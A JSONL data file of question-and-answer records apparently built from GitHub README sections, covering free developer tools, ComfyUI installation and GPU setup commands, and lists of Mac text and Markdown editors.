{"id": "gh_bb3eaee506a3", "question": "How to: Other Free Resources", "question_body": "About ripienaar/free-for-dev", "answer": "* [360Converter](https://www.360converter.com/) - Free tier useful website to convert: Video to Text && Audio to Text && Speech to Text && Real-time Audio to Text && YouTube Video to Text && add Video Subtitle. Maybe it will be helpful in a short video conversion or in a short youtube tutorial:)\n  * [AdminMart](https://adminmart.com/) — High-Quality Free and Premium Admin Dashboard and Website Templates created with Angular, Bootstrap, React, VueJs, NextJS, and NuxtJS!\n  * [Buttons Generator](https://markodenic.com/tools/buttons-generator/) — 100+ buttons you can use in your project.\n  * [ElevateAI](https://www.elevateai.com) - Get up to 200 hours of audio transcription for free every month.\n  * [Framacloud](https://degooglisons-internet.org/en/) — A list of Free/Libre Open Source Software and SaaS by the French non-profit [Framasoft](https://framasoft.org/en/).\n  * [Free Code Tools](https://freecodetools.org/) — Effective code tools which are 100% free. Markdown editor, Code minifier/beautifier, QR code generator, Open Graph Generator, Twitter card Generator, and more.\n  * [get.localhost.direct](https://get.localhost.direct) — A better `*.localhost.direct` Wildcard public CA signed SSL cert for localhost development with sub-domain support\n  * [GitHub Education](https://education.github.com/pack) — Collection of free services for students. Registration required.\n  * [Glob tester](https://globster.xyz/) — A website that allows you to design and test glob patterns. It also provides resources to learn glob patterns.\n  * [It tools](https://it-tools.tech/) - Useful tools for developer and people working in IT.\n  * [JSON Viewer Tool](https://jsonviewertool.com/) – View, format, validate, minify, and convert JSON data directly in the browser (no API key required).\n  * [Killer Coda](https://killercoda.com/)  - Interactive playground in your browser to study Linux, Kubernetes, Containers, Programming, DevOps, Networking\n  * [Kody Tools](https://www.kodytools.com/dev-tools) — 100+ dev tools including formatter, minifier, and converter.\n  * [Markdown Tools](https://markdowntools.com) - Tools for converting HTML, CSVs, PDFs, JSON, and Excel files to and from Markdown\n  * [Microsoft 365 Developer Program](https://developer.microsoft.com/microsoft-365/dev-program) — Get a free sandbox, tools, and other resources you need to build solutions for the Microsoft 365 platform. The subscription is a 90-day [Microsoft 365 E5 Subscription](https://www.microsoft.com/microsoft-365/enterprise/e5) (Windows excluded) which is renewable. It is renewed if you're active in development(measured using telemetry data & algorithms).\n  * [MySQL Visual Explain](https://mysqlexplain.com) - Easy-to-understand and free MySQL EXPLAIN output visualizer to optimize slow queries.\n  * [PageTools](https://pagetools.co/) - Offers a suite of forever free AI-powered tools to help you generate essential website policies, create social media bios, posts and web pages with a simple one-click interface.\n  * [Pyrexp](https://pythonium.net/regex) — Free web-based regex tester and visualizer for debugging regular expressions.\n  * [RedHat for Developers](https://developers.redhat.com) — Free access to Red Hat products including RHEL, OpenShift, CodeReady, etc. exclusively for developers. Individual plan only. Free e-books are also offered for reference.\n  * [regex101](https://regex101.com/) — Free this website allows you to test and debug regular expressions (regex). It provides a regex editor and tester, as well as helpful documentation and resources for learning regex.\n  * [sandbox.httpsms.com](https://sandbox.httpsms.com) — Send and receive test SMS messages for free.\n  * [SimpleBackups.com](https://simplebackups.com/) — Backup automation service for servers and databases (MySQL, PostgreSQL, MongoDB) stored directly into cloud storage providers (AWS, DigitalOcean, and Backblaze). Provides a free plan for 1 backup.\n  * [SimpleRestore](https://simplerestore.io) - Hassle-free MySQL backup restoration. Restore MySQL backups to any remote database without code or a server.\n  * [SnapShooter](https://snapshooter.com/) — Backup solution for DigitalOcean, AWS, LightSail, Hetzner, and Exoscale, with support for direct database, file system and application backups to s3 based storage. Provides a free plan with daily backups for one resource.\n  * [Table Format Converter](https://www.tableformatconverter.com) - A free tool to convert table data to different formats, such as CSV, HTML, JSON, Markdown and more.\n  * [Themeselection](https://themeselection.com/) — Selected high quality, modern design, professional and easy-to-use Free Admin Dashboard Template,\n  * [ToolsHref](https://toolshref.com) - A suite of free developer utilities including Java code generation (JSON-to-POJO, cURL-to-Java), static analysis, and DevOps config builders (Docker, K8s, Nginx).\n  * [Utils.fun](https://utils.fun/en) — All offline daily and development tools based on the browser's computing powe", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.602131"}
{"id": "gh_75fbe32dd214", "question": "How to: Get Started", "question_body": "About Comfy-Org/ComfyUI", "answer": "#### [Desktop Application](https://www.comfy.org/download)\n- The easiest way to get started.\n- Available on Windows & macOS.\n\n#### [Windows Portable Package](#installing)\n- Get the latest commits and completely portable.\n- Available on Windows.\n\n#### [Manual Install](#manual-install-windows-linux)\nSupports all operating systems and GPU types (NVIDIA, AMD, Intel, Apple Silicon, Ascend).", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 100430, "answer_score": 10, "has_code": false, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.158947"}
{"id": "gh_9fe3804ed2b3", "question": "How to: [Examples](https://comfyanonymous.github.io/ComfyUI_examples/)", "question_body": "About Comfy-Org/ComfyUI", "answer": "See what ComfyUI can do with the [example workflows](https://comfyanonymous.github.io/ComfyUI_examples/).", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 100430, "answer_score": 10, "has_code": false, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.158961"}
{"id": "gh_e876a897902e", "question": "How to: Release Process", "question_body": "About Comfy-Org/ComfyUI", "answer": "ComfyUI follows a weekly release cycle targeting Monday but this regularly changes because of model releases or large changes to the codebase. There are three interconnected repositories:\n\n1. **[ComfyUI Core](https://github.com/comfyanonymous/ComfyUI)**\n   - Releases a new stable version (e.g., v0.7.0) roughly every week.\n   - Starting from v0.4.0 patch versions will be used for fixes backported onto the current stable release.\n   - Minor versions will be used for releases off the master branch.\n   - Patch versions may still be used for releases on the master branch in cases where a backport would not make sense.\n   - Commits outside of the stable release tags may be very unstable and break many custom nodes.\n   - Serves as the foundation for the desktop release\n\n2. **[ComfyUI Desktop](https://github.com/Comfy-Org/desktop)**\n   - Builds a new release using the latest stable core version\n\n3. **[ComfyUI Frontend](https://github.com/Comfy-Org/ComfyUI_frontend)**\n   - Weekly frontend updates are merged into the core repository\n   - Features are frozen for the upcoming core release\n   - Development continues for the next release cycle", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 100430, "answer_score": 10, "has_code": false, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.158976"}
{"id": "gh_49c36b693699", "question": "How to: Windows Portable", "question_body": "About Comfy-Org/ComfyUI", "answer": "There is a portable standalone build for Windows that should work for running on Nvidia GPUs or for running on your CPU only on the [releases page](https://github.com/comfyanonymous/ComfyUI/releases).", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 100430, "answer_score": 10, "has_code": false, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.158987"}
{"id": "gh_9f4cd430586b", "question": "How to: [Direct link to download](https://github.com/comfyanonymous/ComfyUI/releases/latest/download/ComfyUI_windows_portable_nvidia.7z)", "question_body": "About Comfy-Org/ComfyUI", "answer": "Simply download, extract with [7-Zip](https://7-zip.org) or with the windows explorer on recent windows versions and run. For smaller models you normally only need to put the checkpoints (the huge ckpt/safetensors files) in: ComfyUI\\models\\checkpoints but many of the larger models have multiple files. Make sure to follow the instructions to know which subfolder to put them in ComfyUI\\models\\\n\nIf you have trouble extracting it, right click the file -> properties -> unblock\n\nThe portable above currently comes with python 3.13 and pytorch cuda 13.0. Update your Nvidia drivers if it doesn't start.\n\n#### Alternative Downloads:\n\n[Experimental portable for AMD GPUs](https://github.com/comfyanonymous/ComfyUI/releases/latest/download/ComfyUI_windows_portable_amd.7z)\n\n[Portable with pytorch cuda 12.8 and python 3.12](https://github.com/comfyanonymous/ComfyUI/releases/latest/download/ComfyUI_windows_portable_nvidia_cu128.7z).\n\n[Portable with pytorch cuda 12.6 and python 3.12](https://github.com/comfyanonymous/ComfyUI/releases/latest/download/ComfyUI_windows_portable_nvidia_cu126.7z) (Supports Nvidia 10 series and older GPUs).\n\n#### How do I share models between another UI and ComfyUI?\n\nSee the [Config file](extra_model_paths.yaml.example) to set the search paths for models. In the standalone windows build you can find this file in the ComfyUI directory. Rename this file to extra_model_paths.yaml and edit it with your favorite text editor.", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 100430, "answer_score": 10, "has_code": false, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.158995"}
{"id": "gh_7e7749f6ae2d", "question": "How to: [comfy-cli](https://docs.comfy.org/comfy-cli/getting-started)", "question_body": "About Comfy-Org/ComfyUI", "answer": "You can install and start ComfyUI using comfy-cli:\n```bash\npip install comfy-cli\ncomfy install\n```", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 100430, "answer_score": 10, "has_code": true, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.159000"}
{"id": "gh_e6492dabe822", "question": "How to: Manual Install (Windows, Linux)", "question_body": "About Comfy-Org/ComfyUI", "answer": "Python 3.14 works but you may encounter issues with the torch compile node. The free threaded variant is still missing some dependencies.\n\nPython 3.13 is very well supported. If you have trouble with some custom node dependencies on 3.13 you can try 3.12\n\ntorch 2.4 and above is supported but some features might only work on newer versions. We generally recommend using the latest major version of pytorch with the latest cuda version unless it is less than 2 weeks old.", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 100430, "answer_score": 10, "has_code": false, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.159005"}
{"id": "gh_aec93568b842", "question": "How to: Instructions:", "question_body": "About Comfy-Org/ComfyUI", "answer": "Git clone this repo.\n\nPut your SD checkpoints (the huge ckpt/safetensors files) in: models/checkpoints\n\nPut your VAE in: models/vae", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 100430, "answer_score": 10, "has_code": false, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.159010"}
{"id": "gh_465c2a549c60", "question": "How to: AMD GPUs (Linux)", "question_body": "About Comfy-Org/ComfyUI", "answer": "AMD users can install rocm and pytorch with pip if you don't have it already installed, this is the command to install the stable version:\n\n```pip install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/rocm6.4```\n\nThis is the command to install the nightly with ROCm 7.0 which might have some performance improvements:\n\n```pip install --pre torch torchvision torchaudio --index-url https://download.pytorch.org/whl/nightly/rocm7.1```", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 100430, "answer_score": 10, "has_code": true, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.159015"}
{"id": "gh_5e9760aad46f", "question": "How to: AMD GPUs (Experimental: Windows and Linux), RDNA 3, 3.5 and 4 only.", "question_body": "About Comfy-Org/ComfyUI", "answer": "These have less hardware support than the builds above but they work on windows. You also need to install the pytorch version specific to your hardware.\n\nRDNA 3 (RX 7000 series):\n\n```pip install --pre torch torchvision torchaudio --index-url https://rocm.nightlies.amd.com/v2/gfx110X-dgpu/```\n\nRDNA 3.5 (Strix halo/Ryzen AI Max+ 365):\n\n```pip install --pre torch torchvision torchaudio --index-url https://rocm.nightlies.amd.com/v2/gfx1151/```\n\nRDNA 4 (RX 9000 series):\n\n```pip install --pre torch torchvision torchaudio --index-url https://rocm.nightlies.amd.com/v2/gfx120X-all/```", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.98, "question_score": 100430, "answer_score": 10, "has_code": true, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.159020"}
{"id": "gh_a4956bb0ffb9", "question": "How to: Intel GPUs (Windows and Linux)", "question_body": "About Comfy-Org/ComfyUI", "answer": "Intel Arc GPU users can install native PyTorch with torch.xpu support using pip. More information can be found [here](https://pytorch.org/docs/main/notes/get_start_xpu.html)\n\n1. To install PyTorch xpu, use the following command:\n\n```pip install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/xpu```\n\nThis is the command to install the Pytorch xpu nightly which might have some performance improvements:\n\n```pip install --pre torch torchvision torchaudio --index-url https://download.pytorch.org/whl/nightly/xpu```", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 100430, "answer_score": 10, "has_code": true, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.159025"}
{"id": "gh_289e41f63a9a", "question": "How to: Dependencies", "question_body": "About Comfy-Org/ComfyUI", "answer": "Install the dependencies by opening your terminal inside the ComfyUI folder and:\n\n```pip install -r requirements.txt```\n\nAfter this you should have everything installed and can proceed to running ComfyUI.", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 100430, "answer_score": 10, "has_code": true, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.159031"}
{"id": "gh_fb383214aaf1", "question": "How to: [ComfyUI-Manager](https://github.com/Comfy-Org/ComfyUI-Manager/tree/manager-v4)", "question_body": "About Comfy-Org/ComfyUI", "answer": "**ComfyUI-Manager** is an extension that allows you to easily install, update, and manage custom nodes for ComfyUI.", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 100430, "answer_score": 10, "has_code": false, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.159038"}
{"id": "gh_51d7ae1344ad", "question": "How to: Command Line Options", "question_body": "About Comfy-Org/ComfyUI", "answer": "| Flag | Description |\n|------|-------------|\n| `--enable-manager` | Enable ComfyUI-Manager |\n| `--enable-manager-legacy-ui` | Use the legacy manager UI instead of the new UI (requires `--enable-manager`) |\n| `--disable-manager-ui` | Disable the manager UI and endpoints while keeping background features like security checks and scheduled installation completion (requires `--enable-manager`) |", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 100430, "answer_score": 10, "has_code": false, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.159043"}
{"id": "gh_5099f4868a13", "question": "How to: For AMD cards not officially supported by ROCm", "question_body": "About Comfy-Org/ComfyUI", "answer": "Try running it with this command if you have issues:\n\nFor 6700, 6600 and maybe other RDNA2 or older: ```HSA_OVERRIDE_GFX_VERSION=10.3.0 python main.py```\n\nFor AMD 7600 and maybe other RDNA3 cards: ```HSA_OVERRIDE_GFX_VERSION=11.0.0 python main.py```", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 100430, "answer_score": 10, "has_code": true, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.159048"}
{"id": "gh_cf17362f4113", "question": "How to: AMD ROCm Tips", "question_body": "About Comfy-Org/ComfyUI", "answer": "You can enable experimental memory efficient attention on recent pytorch in ComfyUI on some AMD GPUs using this command, it should already be enabled by default on RDNA3. If this improves speed for you on latest pytorch on your GPU please report it so that I can enable it by default.\n\n```TORCH_ROCM_AOTRITON_ENABLE_EXPERIMENTAL=1 python main.py --use-pytorch-cross-attention```\n\nYou can also try setting this env variable `PYTORCH_TUNABLEOP_ENABLED=1` which might speed things up at the cost of a very slow initial run.", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 100430, "answer_score": 10, "has_code": true, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.159053"}
{"id": "gh_e885025ece02", "question": "How to: How to show high-quality previews?", "question_body": "About Comfy-Org/ComfyUI", "answer": "Use ```--preview-method auto``` to enable previews.\n\nThe default installation includes a fast latent preview method that's low-resolution. To enable higher-quality previews with [TAESD](https://github.com/madebyollin/taesd), download the [taesd_decoder.pth, taesdxl_decoder.pth, taesd3_decoder.pth and taef1_decoder.pth](https://github.com/madebyollin/taesd/) and place them in the `models/vae_approx` folder. Once they're installed, restart ComfyUI and launch it with `--preview-method taesd` to enable high-quality previews.", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 100430, "answer_score": 10, "has_code": true, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.159059"}
{"id": "gh_8c5df28a1e9c", "question": "How to: How to use TLS/SSL?", "question_body": "About Comfy-Org/ComfyUI", "answer": "Generate a self-signed certificate (not appropriate for shared/production use) and key by running the command: `openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj \"/C=XX/ST=StateName/L=CityName/O=CompanyName/OU=CompanySectionName/CN=CommonNameOrHostname\"`\n\nUse `--tls-keyfile key.pem --tls-certfile cert.pem` to enable TLS/SSL, the app will now be accessible with `https://...` instead of `http://...`.\n\n> Note: Windows users can use [alexisrolland/docker-openssl](https://github.com/alexisrolland/docker-openssl) or one of the [3rd party binary distributions](https://wiki.openssl.org/index.php/Binaries) to run the command example above.\nIf you use a container, note that the volume mount `-v` can be a relative path so `... -v \".\\:/openssl-certs\" ...` would create the key & cert files in the current directory of your command prompt or powershell terminal.", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 100430, "answer_score": 10, "has_code": false, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.159065"}
{"id": "gh_907a89aaffd2", "question": "How to: Support and dev channel", "question_body": "About Comfy-Org/ComfyUI", "answer": "[Discord](https://comfy.org/discord): Try the #help or #feedback channels.\n\n[Matrix space: #comfyui_space:matrix.org](https://app.element.io/#/room/%23comfyui_space%3Amatrix.org) (it's like discord but open source).\n\nSee also: [https://www.comfy.org/](https://www.comfy.org/)", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 100430, "answer_score": 10, "has_code": false, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.159069"}
{"id": "gh_86cdb8142638", "question": "How to: Frontend Development", "question_body": "About Comfy-Org/ComfyUI", "answer": "As of August 15, 2024, we have transitioned to a new frontend, which is now hosted in a separate repository: [ComfyUI Frontend](https://github.com/Comfy-Org/ComfyUI_frontend). This repository now hosts the compiled JS (from TS/Vue) under the `web/` directory.", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 100430, "answer_score": 10, "has_code": false, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.159074"}
{"id": "gh_d1e8a0394e0c", "question": "How to: Reporting Issues and Requesting Features", "question_body": "About Comfy-Org/ComfyUI", "answer": "For any bugs, issues, or feature requests related to the frontend, please use the [ComfyUI Frontend repository](https://github.com/Comfy-Org/ComfyUI_frontend). This will help us manage and address frontend-specific concerns more efficiently.", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 100430, "answer_score": 10, "has_code": false, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.159079"}
{"id": "gh_bea48f0d4cd5", "question": "How to: Using the Latest Frontend", "question_body": "About Comfy-Org/ComfyUI", "answer": "The new frontend is now the default for ComfyUI. However, please note:\n\n1. The frontend in the main ComfyUI repository is updated fortnightly.\n2. Daily releases are available in the separate frontend repository.\n\nTo use the most up-to-date frontend version:\n\n1. For the latest daily release, launch ComfyUI with this command line argument:\n\n   ```\n   --front-end-version Comfy-Org/ComfyUI_frontend@latest\n   ```\n\n2. For a specific version, replace `latest` with the desired version number:\n\n   ```\n   --front-end-version Comfy-Org/ComfyUI_frontend@1.2.2\n   ```\n\nThis approach allows you to easily switch between the stable fortnightly release and the cutting-edge daily updates, or even specific versions for testing purposes.", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 100430, "answer_score": 10, "has_code": true, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.159084"}
{"id": "gh_37a06a8c9b1b", "question": "How to: Accessing the Legacy Frontend", "question_body": "About Comfy-Org/ComfyUI", "answer": "If you need to use the legacy frontend for any reason, you can access it using the following command line argument:\n\n```\n--front-end-version Comfy-Org/ComfyUI_legacy_frontend@latest\n```\n\nThis will use a snapshot of the legacy frontend preserved in the [ComfyUI Legacy Frontend repository](https://github.com/Comfy-Org/ComfyUI_legacy_frontend).", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 100430, "answer_score": 10, "has_code": true, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.159089"}
{"id": "gh_0f7ad1eaf096", "question": "How to: Which GPU should I buy for this?", "question_body": "About Comfy-Org/ComfyUI", "answer": "[See this page for some recommendations](https://github.com/comfyanonymous/ComfyUI/wiki/Which-GPU-should-I-buy-for-ComfyUI)", "tags": ["Comfy-Org"], "source": "github_gists", "category": "Comfy-Org", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 100430, "answer_score": 10, "has_code": false, "url": "https://github.com/Comfy-Org/ComfyUI", "collected_at": "2026-01-16T23:29:41.159094"}
{"id": "gh_a32c56106021", "question": "How to: Reading and Writing Tools", "question_body": "About jaywcjlove/awesome-mac", "answer": "*Applications to edit text, I suggest the open-source editors*", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443149"}
{"id": "gh_7e67e4e05238", "question": "How to: Text Editors", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Aurora Editor](https://auroraeditor.com/) - Lightweight Code Editor (IDE) for macOS. [![Open-Source Software][OSS Icon]](https://github.com/AuroraEditor/AuroraEditor)\n* [Bootstrap Studio](https://bootstrapstudio.io/) - A powerful desktop app for creating responsive websites using the Bootstrap framework.\n* [Brackets](http://brackets.io) - A modern, open source text editor that understands web design. [![Open-Source Software][OSS Icon]](https://github.com/brackets-cont/brackets/) ![Freeware][Freeware Icon]\n* [CodeEdit](https://www.codeedit.app/) - A lightweight, natively-built editor. Open source. Free forever. [![Open-Source Software][OSS Icon]](https://github.com/CodeEditApp/CodeEdit) ![Freeware][Freeware Icon]\n* [CotEditor](https://coteditor.com) - Lightweight plain-text editor for macOS. [![Open-Source Software][OSS Icon]](https://github.com/coteditor/CotEditor/) ![Freeware][Freeware Icon]\n* [Cursor](https://cursor.com/) - AI-powered code editor built to make you extraordinarily productive. Features include AI autocomplete, chat, and an autonomous coding agent. ![Freeware][Freeware Icon]\n* [Emacs](https://www.emacswiki.org/emacs/EmacsForMacOS) - Popular Unix-based text editor for programmers and system administrators. [![Open-Source Software][OSS Icon]](https://git.savannah.gnu.org/cgit/) ![Freeware][Freeware Icon] [![Awesome List][awesome-list Icon]](https://github.com/emacs-tw/awesome-emacs#readme)\n* [Haystack Editor](https://github.com/haystackeditor/haystack-editor) - Code editor with a canvas UI for better code understanding. [![Open-Source Software][OSS Icon]](https://github.com/haystackeditor/haystack-editor) ![Freeware][Freeware Icon]\n* [Helix](https://helix-editor.com/) - A post-modern modal text editor. [![Open-Source Software][OSS Icon]](https://github.com/helix-editor/helix/) ![Freeware][Freeware Icon]\n* [Lapce](https://lapce.dev/) - Lightning-fast and powerful code editor. [![Open-Source Software][OSS Icon]](https://github.com/lapce/lapce) ![Freeware][Freeware Icon]\n* [LightTable](http://lighttable.com/) - The next generation code editor. [![Open-Source Software][OSS Icon]](https://github.com/LightTable/LightTable) ![Freeware][Freeware Icon]\n* [MacVim](https://github.com/macvim-dev/macvim) - the text editor Vim - for macOS. [![Open-Source Software][OSS Icon]](https://github.com/macvim-dev/macvim) ![Freeware][Freeware Icon]\n* [micro](https://micro-editor.github.io) - Modern and intuitive terminal-based text editor. [![Open-Source Software][OSS Icon]](https://github.com/ory/editor) ![Freeware][Freeware Icon]\n* [Neovim](https://github.com/neovim/neovim) - Vim-fork focused on extensibility and usability. [![Open-Source Software][OSS Icon]](https://github.com/neovim/neovim) ![Freeware][Freeware Icon]\n* [Nova](https://nova.app/) - The beautiful, fast, flexible, native Mac code editor from Panic.\n* [Plain Text Editor](https://sindresorhus.com/plain-text-editor) - Simple distraction-free notepad. ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/app/id1572202501)\n* [Sublime Text](http://www.sublimetext.com/3) - A popular, clean, and sleek editor with a plugin management system. For more plugins, check [Sublime Text Plugins](editor-plugin-zh.md#sublime-text-plugin). [![Awesome List][awesome-list Icon]](https://github.com/dreikanter/sublime-bookmarks#readme)\n* [SubEthaEdit](https://subethaedit.net/) - Powerful editor for writing, coding, and collaboration anytime, anywhere! [![Open-Source Software][OSS Icon]](https://github.com/subethaedit/SubEthaEdit)\n* [TextMate](https://macromates.com) - Editor that brings Apple's approach to operating systems into the world of text editors. [![Open-Source Software][OSS Icon]](https://github.com/textmate/textmate) ![Freeware][Freeware Icon]\n* [Tot](https://tot.rocks/) - Tot is an elegant, simple way to collect & edit text. It’s your tiny text companion! ![Freeware][Freeware Icon] [![App Store][app-store Icon]](https://apps.apple.com/us/app/tot/id1491071483)\n* [Vim](http://www.vim.org/) - An old terminal-based editor. For common plugins, check [Vim Common Plugins](editor-plugin-zh.md#vim-plugin). [![Open-Source Software][OSS Icon]](https://github.com/vim/vim) ![Freeware][Freeware Icon] [![Awesome List][awesome-list Icon]](https://github.com/mhinz/vim-galore#readme)\n* [Vimr](http://vimr.org/) - Refined Vim Experience for OS X. [![Open-Source Software][OSS Icon]](https://github.com/qvacua/vimr/) ![Freeware][Freeware Icon]\n* [Windsurf](https://windsurf.com/) - AI code editor featuring Cascade, an agentic AI experience that writes and edits code autonomously. Includes AI autocomplete, memories, and MCP support. ![Freeware][Freeware Icon]\n* [Zed](https://zed.dev/) - A high-performance, multiplayer code editor from the creators of Atom and Tree-sitter. [![Open-Source Software][OSS Icon]](https://github.com/zed-industries/zed) ![Freeware][Freeware Icon]", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443177"}
{"id": "gh_4db67d9c6263", "question": "How to: Markdown Tools [![Awesome List][awesome-list Icon]](https://github.com/BubuAnabelas/awesome-markdown#tools)", "question_body": "About jaywcjlove/awesome-mac", "answer": "* [Archimedes](https://furnacecreek.org/archimedes/) - Native macOS Markdown editor geared toward mathematical writing with inline LaTeX support.\n* [EME](https://github.com/egoist/eme) - Open-source Markdown editor with an interface like Chrome. ![Open-Source Software][OSS Icon]\n* [iA Writer](https://ia.net/writer/) - Writing app with an emphasis on simplicity and design.\n* [LightPaper](https://getlightpaper.com/) - Simple, beautiful, yet powerful text editor for your Mac.\n* [Marked 2](http://marked2app.com/) - This is the Markdown preview with an elegant and powerful set of tools for all writers.\n* [MarkText](https://github.com/marktext/marktext) - Next generation markdown editor, running on platforms of MacOS Windows and Linux. [![Open-Source Software][OSS Icon]](https://github.com/marktext/marktext) ![Freeware][Freeware Icon]\n* [Marp](https://marp.app) - Markdown presentation writer with cross-platform support. [![Open-Source Software][OSS Icon]](https://github.com/marp-team/marp) ![Freeware][Freeware Icon]\n* [Marxico](https://marxi.co/) - Delicate Markdown editor for Evernote. Reliable storage and sync.\n* [MWeb](http://www.mweb.im/) - Pro Markdown writing, and static blog generator App.\n* [Obsidian](https://obsidian.md) - A second brain, for you, forever.\n* [Typora](http://www.typora.io/) - Truly minimal Markdown editor featuring seamless live preview.\n* [Ulysses](https://www.ulyssesapp.com/features/) - The Ultimate Writing App for Mac, iPad and iPhone.\n* [Zettlr](https://www.zettlr.com/) - A markdown editor for the 21st century. [![Open-Source Software][OSS Icon]](https://github.com/Zettlr/Zettlr) ![Freeware][Freeware Icon]", "tags": ["jaywcjlove"], "source": "github_gists", "category": "jaywcjlove", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 97711, "answer_score": 10, "has_code": false, "url": "https://github.com/jaywcjlove/awesome-mac", "collected_at": "2026-01-16T23:29:43.443188"}
